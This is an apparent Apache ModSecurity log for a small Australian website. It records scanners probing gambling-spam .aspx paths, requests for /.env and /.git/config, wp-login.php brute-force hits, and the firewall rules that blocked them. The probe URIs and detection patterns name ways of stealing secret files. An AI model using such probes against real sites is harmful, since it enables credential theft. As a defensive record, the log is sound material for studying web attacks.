[Fri May 22 06:34:54.975129 2026] [:error] [pid 58813:tid 58836] [client 79.137.64.41:39644] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ag-Ijp6yyKWDKULhxJ3_cwAAAVQ"]
[Fri May 22 06:34:57.386794 2026] [:error] [pid 15584:tid 15642] [client 79.137.64.41:39646] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "ag-Ikd9Z_TVLbNEx52h_UAAAAFY"]
[Fri May 22 06:34:59.922573 2026] [:error] [pid 15583:tid 15606] [client 79.137.64.41:39658] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ag-Ik3naOncRcIm17YV9CQAAABI"]
[Fri May 22 06:35:35.375958 2026] [:error] [pid 15583:tid 15609] [client 79.137.64.41:34734] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ag-It3naOncRcIm17YV9NAAAABU"]
[Fri May 22 06:35:37.742201 2026] [:error] [pid 15584:tid 15641] [client 79.137.64.41:56764] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ag-Iud9Z_TVLbNEx52h_jAAAAFU"]
[Fri May 22 06:35:40.183807 2026] [:error] [pid 58782:tid 58792] [client 79.137.64.41:56776] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ag-IvIxsdTFafgO8vhSwGQAAAQg"]
[Fri May 22 06:35:42.815540 2026] [:error] [pid 15583:tid 15603] [client 79.137.64.41:44920] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ag-IvnnaOncRcIm17YV9PwAAAA8"]
[Fri May 22 06:35:45.320469 2026] [:error] [pid 15679:tid 15682] [client 79.137.64.41:44932] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ag-IwSh8tgGc38WJ-GxzRAAAAME"]
[Fri May 22 06:35:47.903706 2026] [:error] [pid 15585:tid 15659] [client 79.137.64.41:44948] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ag-IwyKb-vB41AF-LC1MuQAAAIw"]
[Fri May 22 06:35:50.498482 2026] [:error] [pid 15585:tid 15647] [client 79.137.64.41:44962] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ag-IxiKb-vB41AF-LC1MxQAAAIA"]
[Fri May 22 06:35:52.956013 2026] [:error] [pid 15679:tid 15685] [client 79.137.64.41:40456] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ag-IyCh8tgGc38WJ-GxzWQAAAMQ"]
[Fri May 22 06:35:55.221931 2026] [:error] [pid 15584:tid 15620] [client 79.137.64.41:40460] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ag-Iy99Z_TVLbNEx52h_oQAAAEA"]
[Fri May 22 06:35:57.821163 2026] [:error] [pid 15584:tid 15624] [client 79.137.64.41:40474] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ag-Izd9Z_TVLbNEx52h_owAAAEQ"]
[Fri May 22 06:36:00.480070 2026] [:error] [pid 58813:tid 58821] [client 79.137.64.41:40478] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ag-I0J6yyKWDKULhxJ3_pgAAAUU"]
[Fri May 22 06:36:03.002670 2026] [:error] [pid 58782:tid 58785] [client 79.137.64.41:40418] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ag-I04xsdTFafgO8vhSwIwAAAQE"]
[Fri May 22 06:36:05.416096 2026] [:error] [pid 58813:tid 58827] [client 79.137.64.41:40430] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ag-I1Z6yyKWDKULhxJ3_rwAAAUs"]
[Fri May 22 06:36:07.710972 2026] [:error] [pid 15585:tid 15657] [client 79.137.64.41:40444] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ag-I1yKb-vB41AF-LC1M1gAAAIo"]
[Fri May 22 06:36:10.210870 2026] [:error] [pid 15585:tid 15667] [client 79.137.64.41:40460] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ag-I2iKb-vB41AF-LC1M1wAAAJQ"]
[Fri May 22 06:36:12.739098 2026] [:error] [pid 15583:tid 15609] [client 79.137.64.41:40606] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ag-I3HnaOncRcIm17YV9VAAAABU"]
[Fri May 22 06:36:15.238305 2026] [:error] [pid 15583:tid 15610] [client 79.137.64.41:40620] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ag-I33naOncRcIm17YV9WgAAABY"]
[Fri May 22 06:36:17.712105 2026] [:error] [pid 58782:tid 58804] [client 79.137.64.41:40628] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ag-I4YxsdTFafgO8vhSwLAAAARQ"]
[Fri May 22 06:36:20.061217 2026] [:error] [pid 15584:tid 15628] [client 79.137.64.41:40644] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ag-I5N9Z_TVLbNEx52h_wQAAAEg"]
[Fri May 22 06:36:22.632650 2026] [:error] [pid 58813:tid 58817] [client 79.137.64.41:48964] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ag-I5p6yyKWDKULhxJ3_vwAAAUE"]
[Fri May 22 06:36:25.126950 2026] [:error] [pid 15679:tid 15692] [client 79.137.64.41:48980] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ag-I6Sh8tgGc38WJ-GxzegAAAMs"]
[Fri May 22 06:36:27.686367 2026] [:error] [pid 58782:tid 58804] [client 79.137.64.41:48988] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ag-I64xsdTFafgO8vhSwMwAAARQ"]
[Fri May 22 06:36:30.276934 2026] [:error] [pid 15584:tid 15639] [client 79.137.64.41:48998] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ag-I7t9Z_TVLbNEx52h_wwAAAFM"]
[Fri May 22 06:37:05.800166 2026] [:error] [pid 15584:tid 15643] [client 79.137.64.41:39646] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ag-JEd9Z_TVLbNEx52iABQAAAFc"]
[Fri May 22 06:37:08.173965 2026] [:error] [pid 58782:tid 58788] [client 79.137.64.41:34036] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ag-JFIxsdTFafgO8vhSwUAAAAQQ"]
[Fri May 22 06:37:10.752697 2026] [:error] [pid 58782:tid 58793] [client 79.137.64.41:52170] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ag-JFoxsdTFafgO8vhSwVAAAAQk"]
[Fri May 22 06:37:13.115955 2026] [:error] [pid 15585:tid 15648] [client 79.137.64.41:52178] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ag-JGSKb-vB41AF-LC1NAgAAAIE"]
[Fri May 22 06:37:15.526364 2026] [:error] [pid 15585:tid 15663] [client 79.137.64.41:52194] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ag-JGyKb-vB41AF-LC1NBgAAAJA"]
[Fri May 22 09:40:56.802865 2026] [:error] [pid 58782:tid 58789] [client 176.65.139.233:28388] [client 176.65.139.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "ag-0KIxsdTFafgO8vhTMwQAAAQU"]
[Fri May 22 09:41:39.145503 2026] [:error] [pid 15585:tid 15652] [client 49.51.132.100:54218] [client 49.51.132.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag-0UyKb-vB41AF-LC2g8QAAAIU"]
[Fri May 22 10:23:33.072120 2026] [:error] [pid 15679:tid 15694] [client 143.198.41.15:53543] [client 143.198.41.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.41.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ag--JSh8tgGc38WJ-Gy80QAAAM0"]
[Fri May 22 10:23:34.975750 2026] [:error] [pid 15584:tid 15629] [client 143.198.41.15:64725] [client 143.198.41.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.41.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ag--Jt9Z_TVLbNEx52i1lwAAAEk"]
[Fri May 22 10:29:35.130642 2026] [:error] [pid 15584:tid 15632] [client 167.172.58.44:63406] [client 167.172.58.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.58.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ag-_j99Z_TVLbNEx52i2bAAAAEw"]
[Fri May 22 10:29:37.095227 2026] [:error] [pid 15585:tid 15659] [client 167.172.58.44:53853] [client 167.172.58.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.58.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ag-_kSKb-vB41AF-LC2xkgAAAIw"]
[Fri May 22 11:08:38.372217 2026] [:error] [pid 15585:tid 15658] [client 167.172.58.44:58102] [client 167.172.58.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.58.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ag_ItiKb-vB41AF-LC3B_QAAAIs"]
[Fri May 22 11:11:54.132474 2026] [:error] [pid 15585:tid 15650] [client 167.172.58.44:59909] [client 167.172.58.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.58.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ag_JeiKb-vB41AF-LC3DMgAAAIM"]
[Fri May 22 11:52:29.323847 2026] [autoindex:error] [pid 15585:tid 15651] [client 31.220.81.161:64709] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 22 15:17:17.908082 2026] [:error] [pid 15585:tid 15653] [client 129.211.172.249:35830] [client 129.211.172.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahAC_SKb-vB41AF-LC0gJwAAAIY"]
[Fri May 22 17:11:07.871199 2026] [:error] [pid 15679:tid 15687] [client 34.93.63.75:59533] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahAdqyh8tgGc38WJ-GwwcQAAAMY"]
[Fri May 22 17:11:08.163252 2026] [:error] [pid 15583:tid 15612] [client 34.93.63.75:61014] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahAdrHnaOncRcIm17YX1KQAAABg"]
[Fri May 22 17:11:08.456371 2026] [:error] [pid 58782:tid 58804] [client 34.93.63.75:62593] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feed/"] [unique_id "ahAdrIxsdTFafgO8vhQNvgAAARQ"]
[Fri May 22 18:03:04.453728 2026] [:error] [pid 15584:tid 15642] [client 43.156.114.184:36168] [client 43.156.114.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahAp2N9Z_TVLbNEx52gWHQAAAFY"]
[Fri May 22 18:37:31.341683 2026] [:error] [pid 58782:tid 58784] [client 195.170.172.102:48734] [client 195.170.172.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "ahAx64xsdTFafgO8vhQYagAAAQA"]
[Fri May 22 18:37:31.357072 2026] [:error] [pid 15584:tid 15629] [client 195.170.172.102:48718] [client 195.170.172.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "ahAx699Z_TVLbNEx52gcEwAAAEk"]
[Fri May 22 19:34:34.277579 2026] [:error] [pid 58813:tid 58824] [client 34.234.100.56:65188] [client 34.234.100.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahA_Sp6yyKWDKULhxJ1-JwAAAUg"]
[Fri May 22 20:37:26.185071 2026] [:error] [pid 58782:tid 58807] [client 95.217.109.26:46976] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ahBOBoxsdTFafgO8vhQnDgAAARc"]
[Fri May 22 20:37:29.728157 2026] [:error] [pid 15679:tid 15703] [client 95.217.109.26:10646] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ahBOCSh8tgGc38WJ-GxedgAAANY"]
[Fri May 22 20:37:40.655978 2026] [:error] [pid 58782:tid 58798] [client 95.217.109.26:43988] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ahBOFIxsdTFafgO8vhQnFgAAAQ4"]
[Fri May 22 20:37:44.434451 2026] [:error] [pid 15585:tid 15658] [client 95.217.109.26:43990] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ahBOGCKb-vB41AF-LC2H_wAAAIs"]
[Fri May 22 20:37:50.506079 2026] [:error] [pid 15584:tid 15631] [client 95.217.109.26:45856] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ahBOHt9Z_TVLbNEx52gy7gAAAEs"]
[Fri May 22 20:37:53.557440 2026] [:error] [pid 15585:tid 15656] [client 95.217.109.26:45862] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ahBOISKb-vB41AF-LC2IDwAAAIk"]
[Fri May 22 20:37:56.184344 2026] [:error] [pid 15585:tid 15659] [client 95.217.109.26:45872] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ahBOJCKb-vB41AF-LC2IEwAAAIw"]
